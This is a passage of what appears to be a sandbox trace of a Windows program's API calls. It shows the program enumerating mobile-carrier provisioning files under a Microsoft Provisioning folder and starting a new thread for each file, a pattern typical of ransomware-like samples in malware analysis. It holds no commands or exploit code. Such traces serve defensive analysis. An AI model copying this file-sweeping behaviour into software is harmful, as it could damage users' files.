dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0181.703] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", cAlternateFileName="549__C~1.PRO")) returned 1 [0181.703] wcscmp (_String1="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.704] wcscmp (_String1="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x30564a8 [0181.704] wcscpy (in: _Dest=0x30564a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.704] wcscat (in: _Dest=0x30564a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.704] wcscat (in: _Dest=0x30564a8, _Source="549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" [0181.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30564a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0181.704] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902ba650, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902ba650, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902ba650, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", cAlternateFileName="54__CO~1.PRO")) returned 1 [0181.704] wcscmp (_String1="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.704] wcscmp (_String1="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x3056738 [0181.704] wcscpy (in: _Dest=0x3056738, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.704] wcscat (in: _Dest=0x3056738, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.705] wcscat (in: _Dest=0x3056738, _Source="54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" [0181.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0181.705] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", cAlternateFileName="550__C~1.PRO")) returned 1 [0181.705] wcscmp (_String1="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.705] wcscmp (_String1="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x4f02250 [0181.705] wcscpy (in: _Dest=0x4f02250, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.705] wcscat (in: _Dest=0x4f02250, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.705] wcscat (in: _Dest=0x4f02250, _Source="550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" [0181.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0181.706] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x0, dwReserved1=0x0, cFileName="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", cAlternateFileName="551__C~1.PRO")) returned 1 [0181.706] wcscmp (_String1="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.706] wcscmp (_String1="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x3056c58 [0181.706] wcscpy (in: _Dest=0x3056c58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.706] wcscat (in: _Dest=0x3056c58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.706] wcscat (in: _Dest=0x3056c58, _Source="551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" [0181.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0181.707] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x0, dwReserved1=0x0, cFileName="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", cAlternateFileName="552__C~1.PRO")) returned 1 [0181.707] wcscmp (_String1="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.707] wcscmp (_String1="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x3056880 [0181.707] wcscpy (in: _Dest=0x3056880, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.707] wcscat (in: _Dest=0x3056880, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.707] wcscat (in: _Dest=0x3056880, _Source="552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" [0181.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0181.708] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", cAlternateFileName="553__C~1.PRO")) returned 1 [0181.708] wcscmp (_String1="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.708] wcscmp (_String1="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x4f033c8 [0181.708] wcscpy (in: _Dest=0x4f033c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.708] wcscat (in: _Dest=0x4f033c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.708] wcscat (in: _Dest=0x4f033c8, _Source="553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" [0181.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f033c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0181.709] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913ddca3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913ddca3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913ddca3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", cAlternateFileName="554__C~1.PRO")) returned 1 [0181.709] wcscmp (_String1="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.709] wcscmp (_String1="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x4f02e68 [0181.709] wcscpy (in: _Dest=0x4f02e68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.709] wcscat (in: _Dest=0x4f02e68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.709] wcscat (in: _Dest=0x4f02e68, _Source="554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" [0181.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f02e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0181.709] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91403f0f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91403f0f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91403f0f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", cAlternateFileName="555__C~1.PRO")) returned 1 [0181.709] wcscmp (_String1="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.709] wcscmp (_String1="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x3057030 [0181.710] wcscpy (in: _Dest=0x3057030, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.710] wcscat (in: _Dest=0x3057030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.710] wcscat (in: _Dest=0x3057030, _Source="555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" [0181.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3057030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0181.710] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91403f0f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91403f0f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91403f0f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", cAlternateFileName="556__C~1.PRO")) returned 1 [0181.710] wcscmp (_String1="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.710] wcscmp (_String1="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16e) returned 0x2faae40 [0181.710] wcscpy (in: _Dest=0x2faae40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.710] wcscat (in: _Dest=0x2faae40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.710] wcscat (in: _Dest=0x2faae40, _Source="556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" [0181.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faae40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0181.711] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91403f0f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91403f0f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91403f0f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", cAlternateFileName="557__C~1.PRO")) returned 1 [0181.711] wcscmp (_String1="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.711] wcscmp (_String1="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f01790 [0181.711] wcscpy (in: _Dest=0x4f01790, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.711] wcscat (in: _Dest=0x4f01790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.711] wcscat (in: _Dest=0x4f01790, _Source="557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" [0181.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0181.712] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9142a17a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9142a17a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9142a17a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x349, dwReserved0=0x0, dwReserved1=0x0, cFileName="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", cAlternateFileName="558__C~1.PRO")) returned 1 [0181.712] wcscmp (_String1="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.712] wcscmp (_String1="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x4f03520 [0181.712] wcscpy (in: _Dest=0x4f03520, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.712] wcscat (in: _Dest=0x4f03520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.712] wcscat (in: _Dest=0x4f03520, _Source="558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All 